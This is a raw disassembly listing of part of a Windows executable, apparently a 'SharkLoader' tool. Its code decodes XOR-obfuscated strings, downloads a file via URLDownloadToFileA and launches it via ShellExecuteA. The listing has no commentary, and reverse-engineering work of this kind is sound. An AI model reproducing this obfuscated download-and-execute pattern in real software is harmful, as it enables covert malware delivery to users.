punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x164]
xorps xmm2, xmm1
movd dword [rbp + 0x164], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x160]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140043520
xorps xmm0, xmm0
movups xmmword [rbp + 0xdc0], xmm0
mov qword [rbp + 0xdd0], rsi
mov qword [rbp + 0xdd8], rsi
lea rax, [rbp + 0x160]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140043575
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0xdc0]
call fcn.14004f2f0
nop
mov eax, dword [0x140115e88]
mov dword [rbp], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp], reloc.WLDAP32.dll_Ordinal_46
xor byte [rbp + 1], 0x39
xor byte [rbp + 2], 0x3a
xor byte [rbp + 3], 0x3b
xor al, 0x3c
mov byte [rbp + 4], al
xorps xmm0, xmm0
movups xmmword [rbp + 0xde0], xmm0
mov qword [rbp + 0xdf0], rsi
mov qword [rbp + 0xdf8], rsi
lea rax, [rbp]
inc r14
cmp byte [rax + r14], 0
jne 0x1400435d4
mov r8, r14
lea rdx, [rbp]
lea rcx, [rbp + 0xde0]
call fcn.14004f2f0
nop
lea rcx, [rbp + 0x918]
call fcn.140041f90
mov rbx, rax
mov rcx, qword [rbp + 0xdd0]
sub rdi, rcx
mov rdx, qword [rbp + 0xda0]
cmp rdi, rdx
jb 0x14004afc2
lea r9, [rbp + 0xdc0]
cmp qword [rbp + 0xdd8], 0xf
cmova r9, qword [rbp + 0xdc0]
lea rax, [rbp + 0xd90]
cmp qword [rbp + 0xda8], 0xf
cmova rax, qword [rbp + 0xd90]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0xdc0]
movzx edx, byte [rbp + 0xd88]
lea rcx, [rbp + 0x7f8]
call fcn.140050ee0
nop
lea rdx, [rbp + 0xde0]
cmp qword [rbp + 0xdf8], 0xf
cmova rdx, qword [rbp + 0xde0]
mov r8, qword [rbp + 0xdf0]
lea rcx, [rbp + 0x7f8]
call fcn.14004e080
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x408], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3f8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x408], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rbp + 0x3f8]
cmp qword [rbp + 0x410], 0xf
cmova rdx, qword [rbp + 0x3f8]
mov r8, qword [rbp + 0x408]
mov rcx, rbx
call fcn.14004e080
mov rdx, rax
lea rcx, [rbp + 0xea0]
call fcn.14004c760
nop
mov rdx, qword [rbp + 0x410]
cmp rdx, 0xf
jbe 0x140043750
inc rdx
mov rcx, qword [rbp + 0x3f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004374b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004374b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160e0]
movdqu xmmword [rbp + 0x408], xmm0
mov byte [rbp + 0x3f8], 0
mov rdx, qword [rbp + 0x810]
cmp rdx, 0xf
jbe 0x1400437ab
inc rdx
mov rcx, qword [rbp + 0x7f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400437a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400437a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160e0]
movdqu xmmword [rbp + 0x808], xmm0
mov byte [rbp + 0x7f8], 0
mov rdx, qword [rbp + 0x930]
cmp rdx, 0xf
jbe 0x140043806
inc rdx
mov rcx, qword [rbp + 0x918]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043801
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043801
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160e0]
movdqu xmmword [rbp + 0x928], xmm0
mov byte [rbp + 0x918], 0
lea r10, [rbp + 0xea0]
movups xmm0, xmmword [0x140115c88]
movups xmm1, xmmword [0x140115c98]
mov eax, dword [0x140115cb0]
movups xmmword [rbp + 0x5a8], xmm0
movups xmmword [rbp + 0x5b8], xmm1
mov dword [rbp + 0x5d0], eax
movsd xmm0, qword [0x140115ca8]
movsd qword [rbp + 0x5c8], xmm0
cmp qword [rbp + 0xeb8], 0xf
jbe 0x14004386d
mov r10, qword [rbp + 0xea0]
mov r8d, esi
cmp r15d, 2
jl 0x1400439bd
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x5ac]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400438b0
cmp r8d, 0x2c
jge 0x140043a03
movsxd rax, r8d
lea r9, [rbp + 0x5a8]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x1400439d0
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, r10
lea rdx, [rbp + 0x5a8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x140043a82
lea rcx, [rbp + 0xea0]
call fcn.14004c5f0
mov r8, rax
lea rdx, [rbp + 0x730]
call fcn.14004afd0
movzx ecx, byte [rax + 4]
test cl, cl
je 0x140043a59
xor byte [rax], 0x38
xor byte [rax + 1], 0x39
xor byte [rax + 2], 0x3a
xor byte [rax + 3], 0x3b
xor cl, 0x3c
mov byte [rax + 4], cl
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.140041cb0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0xbc0]
call fcn.14004b020
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140043bf3
mov r8d, esi
cmp r15d, 2
jl 0x140043bae
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140043bc0
lea rdx, [rbp + 0xc80]
call fcn.14004aff0
mov r11, rax
cmp byte [rax + 0x14], 0
je 0x140043d8f
cmp r15d, 2
jl 0x140043d4d
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x140043c43
cmp eax, 0x15
jge 0x140043d8f
movsxd r8, esi
add r8, r11
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x15
jl 0x140043d60
xor r9d, r9d
mov r8, r10
mov rdx, r11
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rcx, qword [0x14016c730]
mov eax, dword [rcx + 0x4a00]
or eax, 2
mov dword [rcx + 0x4a00], eax
movsd xmm0, qword [0x14016b300]
movsd qword [rcx + 0x4a20], xmm0
mov dword [rcx + 0x4a08], 1
or eax, 1
mov dword [rcx + 0x4a00], eax
mov qword [rcx + 0x4a10], rsi
xorps xmm1, xmm1
xorps xmm0, xmm0
unpcklps xmm0, xmm1
movsd qword [rcx + 0x4a18], xmm0
mov dword [rcx + 0x4a04], 1
mov ecx, dword [0x14016c738]
test ecx, ecx
je 0x140048aa8
sub ecx, 1
je 0x1400476a0
cmp ecx, 1
je 0x140043fd3
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movsd xmm0, qword [str.mWQUSJP]
movsd qword [rbp + 0x170], xmm0
mov eax, dword [str.357_OF]
mov dword [rbp + 0x178], eax
movzx eax, word [0x140115f14]
mov word [rbp + 0x17c], ax
movzx eax, byte [0x140115f16]
mov byte [rbp + 0x17e], al
cmp r15d, 2
jl 0x140043f7b
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.mWQUSJP]
xorps xmm2, xmm0
movd dword [rbp + 0x170], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x174]
xorps xmm2, xmm1
movd dword [rbp + 0x174], xmm2
mov esi, 8
movsxd rax, esi
lea r8, [rbp + 0x170]
add r8, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, sil
sub al, cl
add al, 0x38
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0xf
jl 0x140043f90
lea rdx, [rbp + 0x170]
mov rcx, r9
call fcn.14003cd40
jmp 0x14004aec4
mov r8d, dword [0x140129148]
lea rdx, reloc.WS2_32.dll_accept
mov rcx, qword [str.SharkLoader]
call fcn.14000e590
mov rbx, qword [0x14016c730]
mov rax, qword [rbx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rbx + 0x4000]
mov r13, qword [rax + 0x2a8]
movss xmm15, dword [rax + 0x28]
movss xmm10, dword [rax + 0x2c]
movss xmm13, dword [rax + 0x30]
movss xmm11, dword [rax + 0x34]
mov eax, dword [str.kqiw]
mov dword [rbp + 8], eax
movzx eax, word [0x140115180]
mov word [rbp + 0xc], ax
mov byte [rbp + 8], 0x53
xor byte [rbp + 9], 0x39
xor byte [rbp + 0xa], 0x3a
xor byte [rbp + 0xb], 0x3b
xor al, 0x3c
mov byte [rbp + 0xc], al
xor byte [rbp + 0xd], 0x3d
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 8]
mov qword [rsp + 0x28], rax
movss xmm6, dword [0x140116094]
movss dword [rsp + 0x20], xmm6
movss xmm7, dword [0x140116084]
movaps xmm3, xmm7
movss xmm9, dword [0x140115ffc]
movaps xmm2, xmm9
lea rdx, [rsp + 0x60]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002cb20
movss xmm0, dword [rsp + 0x60]
movss xmm12, dword [0x140115f94]
addss xmm0, xmm12
cvttss2si eax, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x110], xmm0
movsd xmm0, qword [0x140115270]
movsd qword [rbp + 0x90], xmm0
movzx eax, byte [0x140115278]
mov byte [rbp + 0x90], 0x45
xor byte [rbp + 0x91], 0x39
xor byte [rbp + 0x92], 0x3a
xor byte [rbp + 0x93], 0x3b
xor byte [rbp + 0x94], 0x3c
xor byte [rbp + 0x95], 0x3d
xor byte [rbp + 0x96], 0x3e
xor byte [rbp + 0x97], 0x3f
xor al, 0x40
mov byte [rbp + 0x98], al
mov qword [rsp + 0x30], rsi
lea rax, [rbp + 0x90]
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm7
movaps xmm2, xmm9
lea rdx, [rsp + 0x60]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002cb20
movss xmm0, dword [rsp + 0x60]
addss xmm0, xmm12
cvttss2si eax, xmm0
movd xmm8, eax
cvtdq2ps xmm8, xmm8
lea rdi, [0x14016b308]
mov rax, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rax, qword [0x14016b308]
movss xmm14, dword [0x140115fe8]
test rax, rax
jne 0x14004418c
xorps xmm1, xmm1
jmp 0x1400441ca
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm6
movaps xmm3, xmm7
movaps xmm2, xmm14
lea rdx, [rsp + 0x60]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002cb20
movss xmm0, dword [rsp + 0x60]
addss xmm0, xmm12
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movaps xmm7, xmm13
movss xmm12, dword [0x140115f64]
mulss xmm7, xmm12
addss xmm7, xmm15
movaps xmm0, xmm8
addss xmm0, dword [rbp + 0x110]
mulss xmm0, xmm12
movaps xmm6, xmm7
subss xmm6, xmm0
mulss xmm1, xmm12
subss xmm7, xmm1
addss xmm8, xmm6
subss xmm8, dword [0x140116004]
mov eax, dword [str.kqiw]
mov dword [rsp + 0x70], eax
movzx eax, word [0x140115180]
mov word [rsp + 0x74], ax
mov byte [rsp + 0x70], 0x53
xor byte [rsp + 0x71], 0x39
xor byte [rsp + 0x72], 0x3a
xor byte [rsp + 0x73], 0x3b
xor al, 0x3c
mov byte [rsp + 0x74], al
xor byte [rsp + 0x75], 0x3d
movaps xmm0, xmmword [0x1401162b0]
movups xmmword [rbp + 0xae8], xmm0
lea rcx, [rbp + 0xae8]
call fcn.1400047d0
mov r9d, eax
movss dword [rbp + 0x398], xmm6
movaps xmm6, xmm10
addss xmm6, xmm9
movss dword [rbp + 0x39c], xmm6
mov r8, qword [0x14016ca40]
test eax, 0xff000000
je 0x140044317
lea rcx, [rsp + 0x70]
mov rax, r14
inc rax
cmp byte [rcx + rax], 0
jne 0x140044295
lea rcx, [rsp + 0x70]
add rcx, rax
lea rax, [rsp + 0x70]
cmp rax, rcx
je 0x140044317
test r8, r8
jne 0x1400442bd
mov rax, qword [r13 + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [r13 + 0x88]
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x48], 0
xorps xmm15, xmm15
movss dword [rsp + 0x40], xmm15
mov qword [rsp + 0x38], rcx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r9d
lea r9, [rbp + 0x398]
movaps xmm2, xmm9
mov rdx, r13
mov rcx, r8
call fcn.14002cd40
mov r8, qword [0x14016ca40]
jmp 0x14004431b
xorps xmm15, xmm15
movsd xmm0, qword [0x140115270]
movzx eax, byte [0x140115278]
movsd qword [rbp - 0x70], xmm0
mov byte [rbp - 0x70], 0x45
xor byte [rbp - 0x6f], 0x39
xor byte [rbp - 0x6e], 0x3a
xor byte [rbp - 0x6d], 0x3b
xor byte [rbp - 0x6c], 0x3c
xor byte [rbp - 0x6b], 0x3d
xor byte [rbp - 0x6a], 0x3e
xor byte [rbp - 0x69], 0x3f
xor al, 0x40
mov byte [rbp - 0x68], al
movaps xmm0, xmmword [0x140116290]
movups xmmword [rbp + 0xad8], xmm0
lea rcx, [rbp + 0xad8]
call fcn.1400047d0
mov r9d, eax
movss dword [rbp + 0x390], xmm8
movss dword [rbp + 0x394], xmm6
test eax, 0xff000000
je 0x14004440d
lea rax, [rbp - 0x70]
mov rcx, r14
inc rcx
cmp byte [rax + rcx], 0
jne 0x140044394
lea rdx, [rbp - 0x70]
add rdx, rcx
lea rax, [rbp - 0x70]
cmp rax, rdx
je 0x14004440d
test r8, r8
jne 0x1400443ba
mov rax, qword [r13 + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [r13 + 0x88]
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm15
mov qword [rsp + 0x38], rdx
lea rax, [rbp - 0x70]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r9d
lea r9, [rbp + 0x390]
movaps xmm2, xmm9
mov rdx, r13
mov rcx, r8
call fcn.14002cd40
mov r8, qword [0x14016ca40]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdi, qword [0x14016b308]
movaps xmm0, xmmword [0x140116250]
movups xmmword [rbp + 0xaf8], xmm0
lea rcx, [rbp + 0xaf8]
call fcn.1400047d0
mov r9d, eax
movss dword [rbp + 0x388], xmm7
addss xmm10, dword [0x140116010]
movss dword [rbp + 0x38c], xmm10
test eax, 0xff000000
je 0x1400444c6
mov rcx, r14
nop
inc rcx
cmp byte [rdi + rcx], 0
jne 0x140044460
add rcx, rdi
cmp rdi, rcx
je 0x1400444c6
test r8, r8
jne 0x14004447e
mov rax, qword [r13 + 0x38]
mov r8, qword [rax + 8]
movups xmm0, xmmword [r13 + 0x88]
movups xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm15
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r9d
lea r9, [rbp + 0x388]
movaps xmm2, xmm14
mov rdx, r13
mov rcx, r8
call fcn.14002cd40
movaps xmm0, xmmword [0x140116250]
movups xmmword [rbp + 0x9e8], xmm0
lea rcx, [rbp + 0x9e8]
call fcn.1400047d0
mov r10d, eax
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea r11, [0x14016b348]
cmova r11, qword [0x14016b348]
movsd xmm0, qword [str.txio]
movsd qword [rbp + 0x190], xmm0
mov ecx, dword [0x140115c80]
mov dword [rbp + 0x198], ecx
cmp byte [0x140115c83], 0
je 0x140044683
mov r8d, esi
cmp r15d, 2
jl 0x140044640
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.txio]
xorps xmm2, xmm0
movd dword [rbp + 0x190], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x194]
xorps xmm2, xmm1
movd dword [rbp + 0x194], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x190]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140044650
movaps xmm3, xmm11
subss xmm3, dword [0x140116060]
mov r8d, r10d
mov rdx, r11
lea rcx, [rbp + 0x190]
call fcn.140040690
movaps xmm0, xmmword [0x140116250]
movups xmmword [rbp + 0x9f8], xmm0
lea rcx, [rbp + 0x9f8]
call fcn.1400047d0
mov r11d, eax
lea r10, [0x14016b328]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r10, qword [0x14016b328]
mov rcx, qword [str.ajrnxm_]
mov qword [rbp + 0x138], rcx
cmp byte [0x1401152d7], 0
je 0x140044843
cmp r15d, 2
jl 0x140044806
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x138]
xorps xmm2, xmm1
movd dword [rbp + 0x138], xmm2
movdqa xmm3, xmmword [0x140116130]
